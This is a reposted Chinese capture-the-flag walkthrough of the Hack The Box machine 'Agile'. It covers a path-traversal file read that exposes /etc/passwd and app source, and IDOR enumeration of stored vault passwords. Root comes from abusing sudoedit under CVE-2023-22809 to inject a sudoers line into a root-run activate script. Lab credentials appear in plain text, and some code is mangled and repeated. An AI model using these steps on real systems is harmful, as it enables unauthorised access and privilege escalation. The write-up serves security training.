0


打靶日记 HTB agile

Httpsuperpass

Nmap 结果

┌──(root💀kali)-[~]
└─# nmap -A 10.10.11.203
Starting Nmap 7.93( https://nmap.org ) at 2023-03-10 06:10 EST
Nmap scan report for10.10.11.203
Host is up (0.48s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp openssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)|_  256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)80/tcp open  http    nginx 1.18.0 (Ubuntu)|_http-server-header: nginx/1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://superpass.htb
No exact OS matches forhost(If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=3/10%OT=22%CT=1%CU=39101%PV=Y%DS=2%DC=T%G=Y%TM=640B106
OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M537ST11NW7%O2=M537ST11NW7%O3=M537NNT11NW7%O4=M537ST11NW7%O5=M537ST11
OS:NW7%O6=M537ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M537NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 5900/tcp)
HOP RTT       ADDRESS
1510.64 ms 10.10.16.1
2352.59 ms 10.10.11.203

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1host up) scanned in53.74 seconds

在这里插入图片描述

点击功能点发现一个接口

/download?fn=/etc/passwd

报错发现根目录在/tmp

在这里插入图片描述

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4bIizynD-1678516475521)(wp.assets/image-20230310225024799.png)]

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
corum:x:1000:1000:corum:/home/corum:/bin/bash
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false
runner:x:1001:1001::/app/app-testing/:/bin/sh
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
_laurel:x:999:999::/var/log/laurel:/bin/false

cmdline

pid : 561 

/usr/local/sbin/laurel

pid:776

/usr/bin/python3/usr/bin/networkd-dispatcher--run-startup-triggers

/proc/self/cmdline

/app/venv/bin/python3  /app/venv/bin/gunicorn   --bind 127.0.0.1:5000 --threads=10 --timeout 600  wsgi:app

在这里插入图片描述

#!/app/venv/bin/python3# -*- coding: utf-8 -*-import re
import sys
from gunicorn.app.wsgiapp import run
if __name__ =='__main__':
    sys.argv[0]= re.sub(r'(-script\.pyw|\.exe)?$','', sys.argv[0])
    sys.exit(run())
import json
import os
import sys
import flask
import jinja_partials
from flask_login import LoginManager
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__),'..')))from superpass.infrastructure.view_modifiers import response
from superpass.data import db_session

app = flask.Flask(__name__)
app.config['SECRET_KEY']='MNOHFl8C4WLc3DQTToeeg8ZT7WpADVhqHHXJ50bPZY6ybYKEr76jNvDfsWD'defregister_blueprints():from superpass.views import home_views
    from superpass.views import vault_views
    from superpass.views import account_views
    
    app.register_blueprint(home_views.blueprint)
    app.register_blueprint(vault_views.blueprint)
    app.register_blueprint(account_views.blueprint)defsetup_db():
    db_session.global_init(app.config['SQL_URI'])defconfigure_login_manager():
    login_manager = LoginManager()
    login_manager.login_view ='account.login_get'
    login_manager.init_app(app)from superpass.data.user import User

    @login_manager.user_loaderdefload_user(user_id):from superpass.services.user_service import get_user_by_id
        return get_user_by_id(user_id)defconfigure_template_options():
    jinja_partials.register_extensions(app)
    helpers ={'len':len,'str':str,'type':type,}
    app.jinja_env.globals.update(**helpers)defload_config():
    config_path = os.getenv("CONFIG_PATH")withopen(config_path,'r')as f:for k, v in json.load(f).items():
            app.config[k]= v

defconfigure():
    load_config()
    register_blueprints()
    configure_login_manager()
    setup_db()
    configure_template_options()defenable_debug():from werkzeug.debug import DebuggedApplication
    app.wsgi_app = DebuggedApplication(app.wsgi_app,True)
    app.debug =Truedefmain():
    enable_debug()
    configure()
    app.run(debug=True)defdev():
    configure()
    app.run(port=5555)if __name__ =='__main__':
    main()else:
    configure()

home_view.py

import flask
from superpass.infrastructure.view_modifiers import response

blueprint = flask.Blueprint('home', __name__, template_folder='templates')@blueprint.route('/')@response(template_file='home/index.html')defindex():return{}

vault_views.py

import flask
import subprocess
from flask_login import login_required, current_user
from superpass.infrastructure.view_modifiers import response
import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password

blueprint = flask.Blueprint('vault', __name__, template_folder='templates')@blueprint.route('/vault')@response(template_file='vault/vault.html')@login_requireddefvault():
    passwords = password_service.get_passwords_for_user(current_user.id)print(f'{passwords=}')return{'passwords': passwords}@blueprint.get('/vault/add_row')@response(template_file='vault/partials/password_row_editable.html')@login_requireddefadd_row():
    p = Password()
    p.password = get_random(20)#import pdb;pdb.set_trace()return{"p": p}@blueprint.get('/vault/edit_row/<id>')@response(template_file='vault/partials/password_row_editable.html')@login_requireddefget_edit_row(id):
    password = password_service.get_password_by_id(id, current_user.id)return{"p": password}@blueprint.get('/vault/row/<id>')@response(template_file='vault/partials/password_row.html')@login_requireddefget_row(id):
    password = password_service.get_password_by_id(id, current_user.id)return{"p": password}@blueprint.post('/vault/add_row')@login_requireddefadd_row_post():
    r = flask.request
    site = r.form.get('url','').strip()
    username = r.form.get('username','').strip()
    password = r.form.get('password','').strip()ifnot(site or username or password):return''

    p = password_service.add_password(site, username, password, current_user.id)return flask.render_template('vault/partials/password_row.html', p=p)@blueprint.post('/vault/update/<id>')@response(template_file='vault/partials/password_row.html')@login_requireddefupdate(id):
    r = flask.request
    site = r.form.get('url','').strip()
    username = r.form.get('username','').strip()
    password = r.form.get('password','').strip()ifnot(site or username or password):
        flask.abort(500)

    p = password_service.update_password(id, site, username, password)return{"p": p}@blueprint.delete('/vault/delete/<id>')@login_requireddefdelete(id):
    password_service.delete_password(id)return''@blueprint.get('/vault/export')@login_requireddefexport():if current_user.has_passwords:        
        fn = password_service.generate_csv(current_user)return flask.redirect(f'/download?fn={fn}',302)return"No passwords for user"@blueprint.get('/download')@login_requireddefdownload():
    r = flask.request
    fn = r.args.get('fn')withopen(f'/tmp/{fn}','rb')as f:
        data = f.read()
    resp = flask.make_response(data)
    resp.headers['Content-Disposition']='attachment; filename=superpass_export.csv'
    resp.mimetype ='text/csv'return resp

上面valut_view.py 其中有一个路由 /vault/row/

通过路由可以拿到用户 用户名和密码 只需要 便利id ,bp intruder 爆破试试

在这里插入图片描述
siteusernamepasswordhackthebox.com0xdf762b430d32eea2f12970ticketmastercorum9799588839ed0f98c211mgoblog.com0xdf5b133f7a6a1c180646cbmgoblogcorum47ed1e73c955de230a1dagilecorum5db7caa1d13cc37c9fc2ss6af712bbacbd6325b907
ssh 都试了试 site:agile 这个账号密码可以登录

拿到第一个flag

root

使用linpeas 扫描后

╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suidstrace Not Found
-rwsr-xr-x 1 root root 19K Feb 262022 /usr/libexec/polkit-agent-helper-1
-rwsr-xr-x 1 root root 35K Feb 212022 /usr/bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 47K Feb 212022 /usr/bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 72K Nov 2412:05 /usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root root 59K Nov 2412:05 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 71K Nov 2412:05 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44K Nov 2412:05 /usr/bin/chsh
-rwsr-xr-x 1 root root 35K Mar 232022 /usr/bin/fusermount3
-rwsr-xr-x 1 root root 55K Feb 212022 /usr/bin/su
-rwsr-xr-x 1 root root 40K Nov 2412:05 /usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root root 227K Aug  42022 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
-rwsr-xr-- 1 root messagebus 35K Oct 2513:15 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 331K Nov 23 07:38 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 136K Dec  1 08:52 /usr/lib/snapd/snap-confine  --->  Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)
-rwsr-xr-x 1 root root 215K Dec  122:29 /opt/google/chrome/chrome-sandbox
corum@agile:~$ curl127.0.0.1:8888
curl: (7) Failed to connect to 127.0.0.1 port 8888 after 0 ms: Connection refused
corum@agile:~$ netstat -ntlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        00127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        000.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        000.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        00127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        00127.0.0.1:47833         0.0.0.0:*               LISTEN      -
tcp        00127.0.0.1:5000          0.0.0.0:*               LISTEN      -
tcp        00127.0.0.1:41829         0.0.0.0:*               LISTEN      -
tcp        00127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        00127.0.0.1:5555          0.0.0.0:*               LISTEN      -
tcp6       00 ::1:47833               :::*                    LISTEN      -
tcp6       00 :::22                   :::*                    LISTEN      -

在这里插入图片描述

发现5555 端口用另外一个用户也起了一个和80端口类似的服务

使用ssh 端口转发到kali上 在kali上用浏览器访问

ssh -L 8888:127.0.0.1:5555 [email protected]

在这里插入图片描述

拿到另外一个用户edwards的密码
siteusernamepasswordagileedwardsd07867c6267dcb5df0af
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P2KtNY4f-1678516478892)(null)]

在进程发现 有一个进程以root的身份 /bin/bash -c source /app/venv/bin/activate

如果我们能修改activate文件的内容是不是就表示 我们能提权了呢?

su edwards 
之后输入密码更换用户

edwards@agile:~$ sudo -l
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
edwards@agile:~$

通过改变环境变量EDITOR 可以修改掉activate 文件 ,在activate 文件修改/etc/sudoers文件

echo “edwards ALL=(ALL:ALL) ALL” >>/etc/sudoers 添加这一句话到 /etc/sudoers

exportEDITOR="vim -- /app/venv/bin/activate"sudo -u dev_admin sudoedit /app/config_test.json
root@agile:/app/venv/bin# cat activate# This file must be used with "source bin/activate" *from bash*# you cannot run it directlyecho"edwards ALL=(ALL:ALL) ALL">>/etc/sudoers
deactivate(){# reset old environment variablesif[ -n "${_OLD_VIRTUAL_PATH:-}"];thenPATH="${_OLD_VIRTUAL_PATH:-}"exportPATHunset _OLD_VIRTUAL_PATH
    fiif[ -n "${_OLD_VIRTUAL_PYTHONHOME:-}"];thenPYTHONHOME="${_OLD_VIRTUAL_PYTHONHOME:-}"export PYTHONHOME
        unset _OLD_VIRTUAL_PYTHONHOME
    fi# This should detect bash and zsh, which have a hash command that must# be called to get it to forget past commands.  Without forgetting# past commands the $PATH changes we made may not be respectedif[ -n "${BASH:-}" -o -n "${ZSH_VERSION:-}"];thenhash -r 2> /dev/null
    fiif[ -n "${_OLD_VIRTUAL_PS1:-}"];thenPS1="${_OLD_VIRTUAL_PS1:-}"exportPS1unset _OLD_VIRTUAL_PS1
    fiunset VIRTUAL_ENV
    unset VIRTUAL_ENV_PROMPT
    if[!"${1:-}"="nondestructive"];then# Self destruct!unset -f deactivate
    fi}# unset irrelevant variables
deactivate nondestructive

VIRTUAL_ENV="/app/venv"export VIRTUAL_ENV

_OLD_VIRTUAL_PATH="$PATH"PATH="$VIRTUAL_ENV/bin:$PATH"exportPATH# unset PYTHONHOME if set# this will fail if PYTHONHOME is set to the empty string (which is bad anyway)# could use `if (set -u; : $PYTHONHOME) ;` in bashif[ -n "${PYTHONHOME:-}"];then_OLD_VIRTUAL_PYTHONHOME="${PYTHONHOME:-}"unset PYTHONHOME
fiif[ -z "${VIRTUAL_ENV_DISABLE_PROMPT:-}"];then_OLD_VIRTUAL_PS1="${PS1:-}"PS1="(venv) ${PS1:-}"exportPS1VIRTUAL_ENV_PROMPT="(venv) "export VIRTUAL_ENV_PROMPT
fi# This should detect bash and zsh, which have a hash command that must# be called to get it to forget past commands.  Without forgetting# past commands the $PATH changes we made may not be respectedif[ -n "${BASH:-}" -o -n "${ZSH_VERSION:-}"];thenhash -r 2> /dev/null
fi
root@agile:/app/venv/bin#

等一会

root@agile:/app/venv/bin# su edwards
edwards@agile:/app/venv/bin$ sudo -l
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
    (ALL : ALL) ALL
edwards@agile:/app/venv/bin$

edwards@agile:/app/venv/bin$ sudosu
root@agile:/app/venv/bin#

直接 sudo su 变成root

总结

通过80端口的信息,各种点击 或者扫目录 发现一个download 的路由 其中参数为 fn 程序下载的根目录为/tmp 使用… 绕过

user:

文件包含

/app/app/superpass/app.py 拿到源码

/app/app/superpass/view/valut_view.py 中有一条特别的路由 /valut/row/ 拿到用户名和密码

便利id 拿到可用账号 corum

root:

sudoers 文件内容

img

这条配置的含义是:

第一个,指定的是用户,也可以是别名;

第二个,ALL指定的是用户所在的主机,可以是ip,也可以是主机名;

第三个,括号里指定的也是用户和组,指定以什么用户身份执行sudo

第四个,ALL指定的是执行的命令;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fOCX2eKu-1678516479467)(null)]

在进程发现 有一个进程以root的身份 python3 /app/venv/bin/activate

如果我们能修改activate文件的内容是不是就表示 我们能提权了呢?

netstat -nlpt | grep 127.0.0.1 发现本地 5555端口起来一个 一样的服务,且使用用户 runner 启动的

我们可以ssh端口转发 将5555端口转发到本地 使用kali 中的浏览器 访问路由 /vault/row/1 拿到 edwards的 账号和密码(原理在上面)

edward 的 sudo -l 中存在

​ (dev_admin : dev_admin) sudoedit /app/config_test.json
​ (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

​ 表示可以以 dev_admin 用户的权限编辑这两个文件

这里存在一个CVE-2023-22809

https://docs.google.com/viewerng/viewer?url=https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf

大至的内容就是 

如果比如有一条 sudoers 为
test (root:root) sudoedit /etc/custom/service.conf

相当于我们本来是拥有root权限去编辑 /etc/custom/service.conf 但是加入了环境变量EDITOR="vim --/etc/passwd" 我们就能以root的权限编辑passwd 文件 

那么本题这里的意思就是说明我们可以以dev_admin的用户名义去修改任何 dev_admin 用户的文件

/app/venv/bin/activate 是属于dev_admin 用户的

然后进程中有一个进程是 以root 的权限 执行 /app/venv/bin/activate 我们只要能修改activate文件的内容 那么系统就会以root用户来执行这个文件 那么就能进行相应的提权

exportEDITOR="vim -- /app/venv/bin/activate"sudo -u dev_admin sudoedit /app/config_test.json

的权限编辑这两个文件

这里存在一个CVE-2023-22809

https://docs.google.com/viewerng/viewer?url=https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf

大至的内容就是 

如果比如有一条 sudoers 为
test (root:root) sudoedit /etc/custom/service.conf

相当于我们本来是拥有root权限去编辑 /etc/custom/service.conf 但是加入了环境变量EDITOR="vim --/etc/passwd" 我们就能以root的权限编辑passwd 文件 

那么本题这里的意思就是说明我们可以以dev_admin的用户名义去修改任何 dev_admin 用户的文件

/app/venv/bin/activate 是属于dev_admin 用户的

然后进程中有一个进程是 以root 的权限 执行 /app/venv/bin/activate 我们只要能修改activate文件的内容 那么系统就会以root用户来执行这个文件 那么就能进行相应的提权

exportEDITOR="vim -- /app/venv/bin/activate"sudo -u dev_admin sudoedit /app/config_test.json
标签: linux bash 运维

本文转载自: https://blog.csdn.net/qq_58869808/article/details/129463371
版权归原作者 Som3B0dy 所有, 如有侵权,请联系我们删除。

“打靶日记 HTB agile”的评论:

还没有评论